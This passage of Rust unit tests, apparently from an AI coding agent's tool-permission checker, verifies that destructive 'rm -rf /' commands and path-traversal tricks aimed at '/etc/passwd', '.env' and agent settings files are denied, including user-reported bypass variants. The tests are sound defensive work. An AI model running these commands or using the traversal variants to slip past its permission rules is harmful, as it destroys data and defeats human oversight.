1983 t("rm -rf /var/log/../../").is_deny();
1984 // Root via /./
1985 t("rm -rf /./").is_deny();
1986 t("rm -rf /.").is_deny();
1987 // Double slash (equivalent to /)
1988 t("rm -rf //").is_deny();
1989 // Home traversal via ~/./
1990 t("rm -rf ~/./").is_deny();
1991 t("rm -rf ~/.").is_deny();
1992 // Dot traversal via indirect paths
1993 t("rm -rf ./foo/..").is_deny();
1994 t("rm -rf ../foo/..").is_deny();
1995 // Traversal in chained commands
1996 t("ls && rm -rf /tmp/../../").is_deny();
1997 t("echo hello; rm -rf /./").is_deny();
1998 // Traversal cannot be bypassed by global or allow patterns
1999 t("rm -rf /tmp/../../")
2000 .global_default(ToolPermissionMode::Allow)
2001 .is_deny();
2002 t("rm -rf /./").allow(&[".*"]).is_deny();
2003 // Safe paths with traversal should still be allowed
2004 t("rm -rf /tmp/../tmp/foo")
2005 .mode(ToolPermissionMode::Allow)
2006 .is_allow();
2007 t("rm -rf ~/Documents/./subdir")
2008 .mode(ToolPermissionMode::Allow)
2009 .is_allow();
2010 }
2011
2012 #[test]
2013 fn hardcoded_blocks_rm_multi_path_with_dangerous_last() {
2014 t("rm -rf /tmp /").is_deny();
2015 t("rm -rf /tmp/foo /").is_deny();
2016 t("rm -rf /var/log ~").is_deny();
2017 t("rm -rf /safe $HOME").is_deny();
2018 }
2019
2020 #[test]
2021 fn hardcoded_blocks_rm_multi_path_with_dangerous_first() {
2022 t("rm -rf / /tmp").is_deny();
2023 t("rm -rf ~ /var/log").is_deny();
2024 t("rm -rf . /tmp/foo").is_deny();
2025 t("rm -rf .. /safe").is_deny();
2026 }
2027
2028 #[test]
2029 fn hardcoded_allows_rm_multi_path_all_safe() {
2030 t("rm -rf /tmp /home/user")
2031 .mode(ToolPermissionMode::Allow)
2032 .is_allow();
2033 t("rm -rf ./build ./dist")
2034 .mode(ToolPermissionMode::Allow)
2035 .is_allow();
2036 t("rm -rf /var/log/app /tmp/cache")
2037 .mode(ToolPermissionMode::Allow)
2038 .is_allow();
2039 }
2040
2041 #[test]
2042 fn hardcoded_blocks_rm_multi_path_with_traversal() {
2043 t("rm -rf /safe /tmp/../../").is_deny();
2044 t("rm -rf /tmp/../../ /safe").is_deny();
2045 t("rm -rf /safe /var/log/../../").is_deny();
2046 }
2047
2048 #[test]
2049 fn hardcoded_blocks_user_reported_bypass_variants() {
2050 // User report: "rm -rf /etc/../" normalizes to "rm -rf /" via path traversal
2051 t("rm -rf /etc/../").is_deny();
2052 t("rm -rf /etc/..").is_deny();
2053 // User report: --no-preserve-root (without =value) should not bypass
2054 t("rm -rf --no-preserve-root /").is_deny();
2055 t("rm --no-preserve-root -rf /").is_deny();
2056 // User report: "rm -rf /*" should be caught (glob expands to all top-level entries)
2057 t("rm -rf /*").is_deny();
2058 // Chained with sudo
2059 t("sudo rm -rf /").is_deny();
2060 t("sudo rm -rf --no-preserve-root /").is_deny();
2061 // Traversal cannot be bypassed even with global allow or allow patterns
2062 t("rm -rf /etc/../")
2063 .global_default(ToolPermissionMode::Allow)
2064 .is_deny();
2065 t("rm -rf /etc/../").allow(&[".*"]).is_deny();
2066 t("rm -rf --no-preserve-root /")
2067 .global_default(ToolPermissionMode::Allow)
2068 .is_deny();
2069 t("rm -rf --no-preserve-root /").allow(&[".*"]).is_deny();
2070 }
2071
2072 #[test]
2073 fn normalize_path_relative_no_change() {
2074 assert_eq!(normalize_path("foo/bar"), "foo/bar");
2075 }
2076
2077 #[test]
2078 fn normalize_path_relative_with_curdir() {
2079 assert_eq!(normalize_path("foo/./bar"), "foo/bar");
2080 }
2081
2082 #[test]
2083 fn normalize_path_relative_with_parent() {
2084 assert_eq!(normalize_path("foo/bar/../baz"), "foo/baz");
2085 }
2086
2087 #[test]
2088 fn normalize_path_absolute_preserved() {
2089 assert_eq!(normalize_path("/etc/passwd"), "/etc/passwd");
2090 }
2091
2092 #[test]
2093 fn normalize_path_absolute_with_traversal() {
2094 assert_eq!(normalize_path("/tmp/../etc/passwd"), "/etc/passwd");
2095 }
2096
2097 #[test]
2098 fn normalize_path_root() {
2099 assert_eq!(normalize_path("/"), "/");
2100 }
2101
2102 #[test]
2103 fn normalize_path_parent_beyond_root_clamped() {
2104 assert_eq!(normalize_path("/../../../etc/passwd"), "/etc/passwd");
2105 }
2106
2107 #[test]
2108 fn normalize_path_curdir_only() {
2109 assert_eq!(normalize_path("."), "");
2110 }
2111
2112 #[test]
2113 fn normalize_path_empty() {
2114 assert_eq!(normalize_path(""), "");
2115 }
2116
2117 #[test]
2118 fn normalize_path_relative_traversal_above_start() {
2119 assert_eq!(normalize_path("../../../etc/passwd"), "../../../etc/passwd");
2120 }
2121
2122 #[test]
2123 fn normalize_path_relative_traversal_with_curdir() {
2124 assert_eq!(normalize_path("../../."), "../..");
2125 }
2126
2127 #[test]
2128 fn normalize_path_relative_partial_traversal_above_start() {
2129 assert_eq!(normalize_path("foo/../../bar"), "../bar");
2130 }
2131
2132 #[test]
2133 fn most_restrictive_deny_vs_allow() {
2134 assert!(matches!(
2135 most_restrictive(
2136 ToolPermissionDecision::Deny("x".into()),
2137 ToolPermissionDecision::Allow
2138 ),
2139 ToolPermissionDecision::Deny(_)
2140 ));
2141 }
2142
2143 #[test]
2144 fn most_restrictive_allow_vs_deny() {
2145 assert!(matches!(
2146 most_restrictive(
2147 ToolPermissionDecision::Allow,
2148 ToolPermissionDecision::Deny("x".into())
2149 ),
2150 ToolPermissionDecision::Deny(_)
2151 ));
2152 }
2153
2154 #[test]
2155 fn most_restrictive_deny_vs_confirm() {
2156 assert!(matches!(
2157 most_restrictive(
2158 ToolPermissionDecision::Deny("x".into()),
2159 ToolPermissionDecision::Confirm
2160 ),
2161 ToolPermissionDecision::Deny(_)
2162 ));
2163 }
2164
2165 #[test]
2166 fn most_restrictive_confirm_vs_deny() {
2167 assert!(matches!(
2168 most_restrictive(
2169 ToolPermissionDecision::Confirm,
2170 ToolPermissionDecision::Deny("x".into())
2171 ),
2172 ToolPermissionDecision::Deny(_)
2173 ));
2174 }
2175
2176 #[test]
2177 fn most_restrictive_deny_vs_deny() {
2178 assert!(matches!(
2179 most_restrictive(
2180 ToolPermissionDecision::Deny("a".into()),
2181 ToolPermissionDecision::Deny("b".into())
2182 ),
2183 ToolPermissionDecision::Deny(_)
2184 ));
2185 }
2186
2187 #[test]
2188 fn most_restrictive_confirm_vs_allow() {
2189 assert_eq!(
2190 most_restrictive(
2191 ToolPermissionDecision::Confirm,
2192 ToolPermissionDecision::Allow
2193 ),
2194 ToolPermissionDecision::Confirm
2195 );
2196 }
2197
2198 #[test]
2199 fn most_restrictive_allow_vs_confirm() {
2200 assert_eq!(
2201 most_restrictive(
2202 ToolPermissionDecision::Allow,
2203 ToolPermissionDecision::Confirm
2204 ),
2205 ToolPermissionDecision::Confirm
2206 );
2207 }
2208
2209 #[test]
2210 fn most_restrictive_allow_vs_allow() {
2211 assert_eq!(
2212 most_restrictive(ToolPermissionDecision::Allow, ToolPermissionDecision::Allow),
2213 ToolPermissionDecision::Allow
2214 );
2215 }
2216
2217 #[test]
2218 fn decide_permission_for_path_no_dots_early_return() {
2219 // When the path has no `.` or `..`, normalize_path returns the same string,
2220 // so decide_permission_for_path returns the raw decision directly.
2221 let settings = test_agent_settings(ToolPermissions {
2222 default: ToolPermissionMode::Confirm,
2223 tools: Default::default(),
2224 });
2225 let decision = decide_permission_for_path(EditFileTool::NAME, "src/main.rs", &settings);
2226 assert_eq!(decision, ToolPermissionDecision::Confirm);
2227 }
2228
2229 #[test]
2230 fn decide_permission_for_path_traversal_triggers_deny() {
2231 let deny_regex = CompiledRegex::new("/etc/passwd", false).unwrap();
2232 let mut tools = collections::HashMap::default();
2233 tools.insert(
2234 Arc::from(EditFileTool::NAME),
2235 ToolRules {
2236 default: Some(ToolPermissionMode::Allow),
2237 always_allow: vec![],
2238 always_deny: vec![deny_regex],
2239 always_confirm: vec![],
2240 invalid_patterns: vec![],
2241 },
2242 );
2243 let settings = test_agent_settings(ToolPermissions {
2244 default: ToolPermissionMode::Confirm,
2245 tools,
2246 });
2247
2248 let decision =
2249 decide_permission_for_path(EditFileTool::NAME, "/tmp/../etc/passwd", &settings);
2250 assert!(
2251 matches!(decision, ToolPermissionDecision::Deny(_)),
2252 "expected Deny for traversal to /etc/passwd, got {:?}",
2253 decision
2254 );
2255 }
2256
2257 #[test]
2258 fn normalize_path_collapses_dot_segments() {
2259 assert_eq!(
2260 normalize_path("src/../.zed/settings.json"),
2261 ".zed/settings.json"
2262 );
2263 assert_eq!(normalize_path("a/b/../c"), "a/c");
2264 assert_eq!(normalize_path("a/./b/c"), "a/b/c");
2265 assert_eq!(normalize_path("a/b/./c/../d"), "a/b/d");
2266 assert_eq!(normalize_path(".zed/settings.json"), ".zed/settings.json");
2267 assert_eq!(normalize_path("a/b/c"), "a/b/c");
2268 }
2269
2270 #[test]
2271 fn normalize_path_handles_multiple_parent_dirs() {
2272 assert_eq!(normalize_path("a/b/c/../../d"), "a/d");
2273 assert_eq!(normalize_path("a/b/c/../../../d"), "d");
2274 }
2275
2276 fn path_perm(
2277 tool: &str,
2278 input: &str,
2279 deny: &[&str],
2280 allow: &[&str],
2281 confirm: &[&str],
2282 ) -> ToolPermissionDecision {
2283 let mut tools = collections::HashMap::default();
2284 tools.insert(
2285 Arc::from(tool),
2286 ToolRules {
2287 default: None,
2288 always_allow: allow
2289 .iter()
2290 .map(|p| {
2291 CompiledRegex::new(p, false)
2292 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2293 })
2294 .collect(),
2295 always_deny: deny
2296 .iter()
2297 .map(|p| {
2298 CompiledRegex::new(p, false)
2299 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2300 })
2301 .collect(),
2302 always_confirm: confirm
2303 .iter()
2304 .map(|p| {
2305 CompiledRegex::new(p, false)
2306 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2307 })
2308 .collect(),
2309 invalid_patterns: vec![],
2310 },
2311 );
2312 let permissions = ToolPermissions {
2313 default: ToolPermissionMode::Confirm,
2314 tools,
2315 };
2316 let raw_decision = ToolPermissionDecision::from_input(
2317 tool,
2318 &[input.to_string()],
2319 &permissions,
2320 ShellKind::Posix,
2321 );
2322
2323 let simplified = normalize_path(input);
2324 if simplified == input {
2325 return raw_decision;
2326 }
2327
2328 let simplified_decision =
2329 ToolPermissionDecision::from_input(tool, &[simplified], &permissions, ShellKind::Posix);
2330
2331 most_restrictive(raw_decision, simplified_decision)
2332 }
2333
2334 #[test]
2335 fn decide_permission_for_path_denies_traversal_to_denied_dir() {
2336 let decision = path_perm(
2337 "copy_path",
2338 "src/../.zed/settings.json",
2339 &["^\\.zed/"],
2340 &[],
2341 &[],
2342 );
2343 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2344 }
2345
2346 #[test]
2347 fn decide_permission_for_path_confirms_traversal_to_confirmed_dir() {
2348 let decision = path_perm(
2349 "copy_path",
2350 "src/../.zed/settings.json",
2351 &[],
2352 &[],
2353 &["^\\.zed/"],
2354 );
2355 assert!(matches!(decision, ToolPermissionDecision::Confirm));
2356 }
2357
2358 #[test]
2359 fn decide_permission_for_path_allows_when_no_traversal_issue() {
2360 let decision = path_perm("copy_path", "src/main.rs", &[], &["^src/"], &[]);
2361 assert!(matches!(decision, ToolPermissionDecision::Allow));
2362 }
2363
2364 #[test]
2365 fn decide_permission_for_path_most_restrictive_wins() {
2366 let decision = path_perm(
2367 "copy_path",
2368 "allowed/../.zed/settings.json",
2369 &["^\\.zed/"],
2370 &["^allowed/"],
2371 &[],
2372 );
2373 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2374 }
2375
2376 #[test]
2377 fn decide_permission_for_path_dot_segment_only() {
2378 let decision = path_perm(
2379 "delete_path",
2380 "./.zed/settings.json",
2381 &["^\\.zed/"],
2382 &[],
2383 &[],
2384 );
2385 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2386 }
2387
2388 #[test]
2389 fn decide_permission_for_path_no_change_when_already_simple() {
2390 // When path has no `.` or `..` segments, behavior matches decide_permission_from_settings
2391 let decision = path_perm("copy_path", ".zed/settings.json", &["^\\.zed/"], &[], &[]);
2392 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2393 }
2394
2395 #[test]
2396 fn decide_permission_for_path_raw_deny_still_works() {
2397 // Even without traversal, if the raw path itself matches deny, it's denied
2398 let decision = path_perm("copy_path", "secret/file.txt", &["^secret/"], &[], &[]);
2399 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2400 }
2401
2402 #[test]
2403 fn decide_permission_for_path_denies_edit_file_traversal_to_dotenv() {
2404 let decision = path_perm(EditFileTool::NAME, "src/../.env", &["^\\.env"], &[], &[]);
2405 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2406 }
2407}